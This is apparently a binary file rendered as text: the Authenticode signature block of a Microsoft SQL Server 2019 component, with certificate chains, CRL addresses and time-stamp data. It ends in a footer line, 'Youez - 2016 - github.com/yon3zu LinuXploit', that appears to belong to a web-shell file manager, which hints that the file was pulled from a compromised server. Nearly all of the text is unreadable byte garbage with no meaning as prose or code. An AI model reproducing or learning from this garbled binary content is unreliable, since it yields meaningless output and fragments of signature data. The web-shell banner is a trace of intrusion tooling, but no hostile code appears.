ީ�c����d�U�����e~���0���;��u�]π��q�B��ғ��T�|!�싼�~�)	P�+:�=��W��8��ߚ8Ё�'��y;4���"�e�La<��.2h�)���v�߆)�
㴳�L�gZT�Y'��HBn1L�L��h�#J�T㔕l����(�YD���򨅳=�*�7��=7�8�*G�gY�-�z�w��JI*t7��/��C-�2���LI�����G辞�1d������uI{db��~��g\AG�N6-�7�k�?R����"%�9[�Ez��������d�΋��}��mW[*{ol~�C�
�]�gԋ���Nz���߽4����gn�d��L�3��QpU�\}�ݧU��ǣ�Fz��D��c�}�"u0�0��
ah40
	*�H��
0_10
	�&���,dcom10
	�&���,d	microsoft1-0+U$Microsoft Root Certificate Authority0
070403125309Z
210403130309Z0w10	UUS10U
Washington10URedmond10U
Microsoft Corporation1!0UMicrosoft Time-Stamp PCA0�"0
	*�H��
�0�
���l���H�*|k.���řQ#P���N$�ѧ�L�t0 ��T�I�B���\0&�k�{�������3$����g,�{���N���#Sʍ�E�	�^�аB���l�g�(�FS����(F.'��OUR�,�j��0n��Y0��~֗��!�~����SmR�E��HJGf')f�����J����G	����Ux��P�0F��#F��-T��xA1w̛�;���a�
������"KT���� ���0��0U�0�0U#4��RFp
�@�v��+��5�0U�0	+�70��U#��0�����`@V'��%�*�
S�Y䤡c�a0_10
	�&���,dcom10
	�&���,d	microsoft1-0+U$Microsoft Root Certificate Authority�y��J���LsX�.e0PUI0G0E�C�A�?http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0T+H0F0D+0�8http://www.microsoft.com/pki/certs/MicrosoftRootCert.crt0U%0
+0
	*�H��
����\D6�鴭w��yQM�.tq[m�ξ{��.���mb�W�N P��z@�W��X�����x���;�⾏
ȍH��S�O����jՀ���/��*$"p����x�.
��p�N��k
r���9�g-�Q�b\?�� ?�2��1Jv1=+r��p=��
��
a��׸�N��5+^���}B{�Sr!�0ʻxe\[
����<�fX�-/���QV�p�l�9L�y��zb))4wb�=m���,��C���}�㤨t5�N�q#&v<R�qZFC����MgȟB��y!��0f�B^Ȟ"!�C�+��H�,��2�L&*H$_Z�V�ޙ��:o��'t�v!����'T��j=��va�n����G�o��2l���QȌ#�f���d=-�Y���!嵰�c�xT�A.P����x����uْ�u"/2�n�[�%����!��Oɚ�I�eo�}�i��n꧗�1)��[\�M��/�?.Uk���1�(90�(50��0y10	UUS10U
Washington10URedmond10U
Microsoft Corporation1#0!UMicrosoft Code Signing PCA3�|��`����0	+���0	*�H��
	1
+�70
+�710
+�70#	*�H��
	1	%�^�xH�P��|�\��0N
+�71@0>� �SQL Server 2019��http://www.microsoft.com0
	*�H��
�v#�Y�	�t�J�_k9(!���;�R��PHl�Ѧ�:pt U�s���Ʃ��Dx�>�����v�w�cI�̫�)�\�;8u�TzpЈ�g��c����
�����������K|7����%�����.�8�$�n&U�\���U9�^�ޢs
́g�g@%����,䈒����]h�ذ2�m���魀v	�Vx��CefVҋA�R�P Ɍ���Wz�tW^d�t15����0\�rN;َ�J�㡂%�0�$	*�H��
	1�0�0��0w10	UUS10U
Washington10URedmond10U
Microsoft Corporation1!0UMicrosoft Time-Stamp PCA3/k�N~`0	+�]0	*�H��
	1	*�H��
0	*�H��
	1
190924204631Z0#	*�H��
	1O�G�)�^6i�|D���s,0
	*�H��
�I�ahɰ��̀V+NVUTX����:sc#�R�K�n�:�3 ���X甙�^v���Q:��6)N�Γ��ȇ;��Q�5NAÿ �6���lu�t�8V]m���o��7*���j]�Cʸ3V�|p&���!��H[��XS��w�?픺��m�j��
��#s4ί���x$���R�&�+d�~#:�T�e�!U:o!v�ESɕ�0W~<�����n�:����_�G�·�[Z�=\�-����ݐ���*2�Y(0�#�
+�71�#�0�#�	*�H��
��#}0�#y10
	`�He0\
+�7�N0L0
+�70	���010
	`�He ��[�%c�[�B,�0`m�Uuԗ�1_��u�4��
�0�0��3R�@�PV�u�R0
	*�H��
0~10	UUS10U
Washington10URedmond10U
Microsoft Corporation1(0&UMicrosoft Code Signing PCA 20110
190502213746Z
200502213746Z0t10	UUS10U
Washington10URedmond10U
Microsoft Corporation10UMicrosoft Corporation0�"0
	*�H��
�0�
���������t�����ǔߖ�6�+�xL���5���oK��w�U��buAN��[�V7V�p�Cn�3(A6��~��/�k����>��\�6��ɳ����mJ�
�X�%y�D�����*��Or�}Y�Gڗ}tP����M�4dc�睘�*�!�U��}�W����P��e���.����lA ��+4�Ih��z%�x�tr�
����������c� �����i��Zai^���76q�3ހ����0�~0U%0
+�7L+0U��[�e�'f��5kE�0TUM0K�I0G1-0+U$Microsoft Ireland Operations Limited10U
230012+4541360U#0�Hnd�Pӂ�77"�m��u�0TUM0K0I�G�E�Chttp://www.microsoft.com/pkiops/crl/MicCodSigPCA2011_2011-07-08.crl0a+U0S0Q+0�Ehttp://www.microsoft.com/pkiops/certs/MicCodSigPCA2011_2011-07-08.crt0U�00
	*�H��
���D懾��,V�(�-����6@��m�z� 65�W��Q`[�F�y8��t�ھ$�&��C��=�d�R�m���(ߜ����S�]��!��h2]g����"���S��E��v���5@��7�8��t�=0|3e�?�O��%�vS�Y�������ޭ��b�����+O�yDT
�ͅC�8xQ#�+7&�T��",ۮ8��P���h�(�T@�`���T�l������T����G6~�ܷ�f��D�k�IB���	��m������r����aݽ��G>ƚ읶��2>�Ҁ\�����]��r!���K��Q!��(�V�&sLDt�>��QZ�M����W5X��)l�}F�G�M3�s4��O��8v�vT���:�e:����*Ɲ�N�
���hP���z?别2��fwǴ��#cU�b���ӧx�\Ȇ޽�e,��Ul*!����43=+�
�m����
 ��ސ��n���Iy/钒>
�0�z0�b�
a��0
	*�H��
0��10	UUS10U
Washington10URedmond10U
Microsoft Corporation1200U)Microsoft Root Certificate Authority 20110
110708205909Z
260708210909Z0~10	UUS10U
Washington10URedmond10U
Microsoft Corporation1(0&UMicrosoft Code Signing PCA 20110�"0
	*�H��
�0�
���r.��n��M4��X!�B*k�ZP��8I���7k���8™��9�1BӉ
yd�~�`$l��I��h^�ߛS�
,ï٩+�z	�זY�`�fv�2R&/�PϳD�]��.u�h��m�:\��F��8d�nd5x��c-�@����
�\y�I)�
��w��=��+ZMV(�zr�:�I^���C���{�{��>��]�O��/Y�;-�3Xŷ>�2ӳ=����8~ҝ�,�NV�!5%�9ndS���#������_��R������!t%_(��'(8%�9J6�|���#��f�aj�(I�_��%]�!K>RĵW?$��z[/�#�p]QFw��Ἤ�_����UK�9��#I��D|E��rz�r�$߿F����Wۃ��MI0�����[���ݰf��{���K�I)�(��}g��bx_�/��W�\�w((��m�(�,�@7O��D��	L�ԥC/t��n�x X,]`��>O3�ڰ�ޞN�F�l���ֈ����0��0	+�70UHnd�Pӂ�77"�m��u�0	+�7
SubCA0U�0U�0�0U#0�r-:1�C�N���1�#�40ZUS0Q0O�M�K�Ihttp://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl0^+R0P0N+0�Bhttp://www.microsoft.com/pki/certs/MicRooCerAut2011_2011_03_22.crt0��U ��0��0��	+�7.0��0?+3http://www.microsoft.com/pkiops/docs/primarycps.htm0@+042 Legal_policy_statement. 0
	*�H��
�g򆥘�Ty.��tg"���c��B�}�y��e_.,>��r�m���?�
�;�G���i�c�"5��]e��}�FPU��|�K�<B�Rа�k�>.)��=�Եw�9��d�D=xz#�}��t����&F*Š�����h�h.��*?*kXIc	inZ�����F+�;н5�n%��'������(��M=����2���-�[��I9
�
�ƭ�����QEX82q'��'��,: i��Y�hno��t�@�*(>�?Mf��M��o}E�v�@*e��]Rb��c6��������'�ͥ���]cA�[��>w��u�aa������A�(��e/��\��֡F�Y�	KH���)ű��?Ew5�Ң��zz"�H���G#�����k�K���ux��7�yK�ֳ#hu������i;��0�L���umc�=ѝVNO��W"�x2!z�A
�?��̤]����WqVNHE�Bɛv[
�Hk�y���mmj�Rs
zP�1�z0�v0��0~10	UUS10U
Washington10URedmond10U
Microsoft Corporation1(0&UMicrosoft Code Signing PCA 20113R�@�PV�u�R0
	`�He���0
*�H��
	10	*�H��
	1
+�70
+�710
+�70/	*�H��
	1" ���c2�A�ɬ,�g���8��-��h���ƣ0N
+�71@0>� �SQL Server 2019��http://www.microsoft.com0
	*�H��
�Y�k>��
0d��A���jc�~��We,��� �q�	W�5,� �Q�[��2�8Ȟ[lz��Vޏ�w(`���m"�2"#��p�|�mU[�u�o�E��iY�F��5��<�C������x��0���M�����g�n�W������	[�z�&�1ٞ[�ڬY�nͦ��k�D�9b�y�I,a�A/(# -j:8��'�i�6��%a��U��\p�o�j*A����!
���0��
+�71��0��	*�H��
���0��10
	`�He0�Q*�H��
	��@�<0�8
+�Y
010
	`�He �_�]3P�aMp�9|�{T�������R]^ƙ�20190924204633.232Z0��Ф��0��10	UUS10	UWA10URedmond10U
Microsoft Corporation1-0+U$Microsoft Ireland Operations Limited1&0$UThales TSS ESN:AB41-4B27-F0261%0#UMicrosoft Time-Stamp service��<0��0�٠3܆���G�0
	*�H��
0|10	UUS10U
Washington10URedmond10U
Microsoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100
180823202654Z
191123202654Z0��10	UUS10	UWA10URedmond10U
Microsoft Corporation1-0+U$Microsoft Ireland Operations Limited1&0$UThales TSS ESN:AB41-4B27-F0261%0#UMicrosoft Time-Stamp service0�"0
	*�H��
�0�
���0��ʒ�l?��򫰛uR���w@�A�bt硠�<0��0T����[���Қ�RO͂ow�Qs���dL
l�=e>W�f�)�CL�ҙ�,��x��eu���]r�ful���\Wq��A1_���vD9��@�A�D}�@��lM�̈́y;{�\�Z����F��Qd�-,��Ղ��r������T�u�i��Zu��=�6\���j�����C��C\����o�����ǯ�vѻ�.��(u0U0�̷v�ҫ���0�0U:ռ�U��J\�~t�*i��0U#0��c:\�1��C{|F�3hZ�mU0VUO0M0K�I�G�Ehttp://crl.microsoft.com/pki/crl/products/MicTimStaPCA_2010-07-01.crl0Z+N0L0J+0�>http://www.microsoft.com/pki/certs/MicTimStaPCA_2010-07-01.crt0U�00U%0
+0
	*�H��
�-"�,��'{q��0�>��W����Y��A@��+�`C1r���A�	�0�6-X�I��f)x{F=������>�����=������t�_&���a/9ޭ��{��]�I�ȩ��G4g������v�|�A�}>�_��kJ��Z�+3�fYR>�.�2��t��ڳ�\�)_% z�c�8���ʋ^�i�.�J��-�~@�b�+j<w��;*�#g�c��u~�����Zz·�b���p��~+���S�F<wZx.�0�q0�Y�
a	�*0
	*�H��
0��10	UUS10U
Washington10URedmond10U
Microsoft Corporation1200U)Microsoft Root Certificate Authority 20100
100701213655Z
250701214655Z0|10	UUS10U
Washington10URedmond10U
Microsoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100�"0
	*�H��
�0�
��
�w�: ����i�ktTե
����|hK,_���a�v�>f+[�S'1A��	�|a0Y�0D�`��TC�M�8�Bݓ��s0W&��E
��G�Ϳ$`2X`F�XG�2�tag�_�T�ϓL��Ħ]�an(������a�F�'$gr!��Kd�Pb�]�w=�Wu���BM@Q��>g�f��D~��K�n�ʱ��z*
1��N���5�x���<�/D����d��� 	�x����D]^�O"M���0��0	+�70U�c:\�1��C{|F�3hZ�mU0	+�7
SubCA0U�0U�0�0U#0��Vˏ�\bh�=��[�Κ�0VUO0M0K�I�G�Ehttp://crl.microsoft.com/pki/crl/products/MicRooCerAut_2010-06-23.crl0Z+N0L0J+0�>http://www.microsoft.com/pki/certs/MicRooCerAut_2010-06-23.crt0��U ���0��0��	+�7.0��0=+1http://www.microsoft.com/PKI/docs/CPS/default.htm0@+042 Legal_Policy_Statement. 0
	*�H��
��Q
���?�q=���!o���1����Wm0���f�j���x�Ǩ�%��kTW+Q�D��S���`�v�@@A��\�\�^5�$VKt�Bȯ���7}Z?�yJ�R�8�/y�e٩�k����zoK0D$"<�����Y)����p�2J'�U�/���3�b_��W@��Ιf���jb��J�&�9�Jqc�{!mÜ��<�}�j�x�m���8ؔ�ƥ
������B�����"8 �%�d��~cY%z.9Wv�q����a�˚�G����ͧ��}���;q	�]t�"aڰPo�����1��:�eGx�H���r~akow��˧	�9����؂�r�����*T9�[��
U�z�s;�-��3.)��/T'!�ȬN�(���ۖ��B���AM�*��f0ӻt2K�c{���/�!�Y���D<�Pqס��U�i�W���0����M�
�]O�8/��X.�
�P5��	'ճ~5��6��_��t�I���0�70����Ф��0��10	UUS10	UWA10URedmond10U
Microsoft Corporation1-0+U$Microsoft Ireland Operations Limited1&0$UThales TSS ESN:AB41-4B27-F0261%0#UMicrosoft Time-Stamp service�#
0+x*��:w����O |2N����0���~0|10	UUS10U
Washington10URedmond10U
Microsoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100
	*�H��
�4�0"20190925004248Z20190926004248Z0w0=
+�Y
1/0-0
�4�0
'N�0N0
�6�06
+�Y
1(0&0
+�Y
�
0� �
0��0
	*�H��
��]'��<~^;�ײp���L\{���o
���'����f3���"�a]��� �ox�;����A����3��O���h�R���2ul�i@�{�=���&�
�-�;{Y�W���?+�8����.1�
0�	0��0|10	UUS10U
Washington10URedmond10U
Microsoft Corporation1&0$UMicrosoft Time-Stamp PCA 20103܆���G�0
	`�He��J0	*�H��
	1
*�H��
	0/	*�H��
	1" (g���}<';�;���眛"h��d�&Nn޲q0��*�H��
	/1��0��0��0�� ��H�1h��P�`�v
*0�rl�*M(�;�ڮ]0��0���~0|10	UUS10U
Washington10URedmond10U
Microsoft Corporation1&0$UMicrosoft Time-Stamp PCA 20103܆���G�0" sqFm��G��
�y���~-w���<��Zo�+0
	*�H��
��� �`Lts�=d�k�g.����ѭ���i�L�D<O�Jy�z�Ԕ���z���M !�2ͤ�{�WK��Uw��d�� +Ʃ�g�h�ﮢ�h
��R�K�vj�e�=|�׬N��C��d0ɶV�͌D�8r���lo���C-���uYWŧBH�$	RAR5=ݖj�d͘U(�]"�Zi>�h��@��LF�G�]Ac��ʃ�#��[���|�a�������q�	<V
?����#45���V\�&`o��+�

Youez - 2016 - github.com/yon3zu
LinuXploit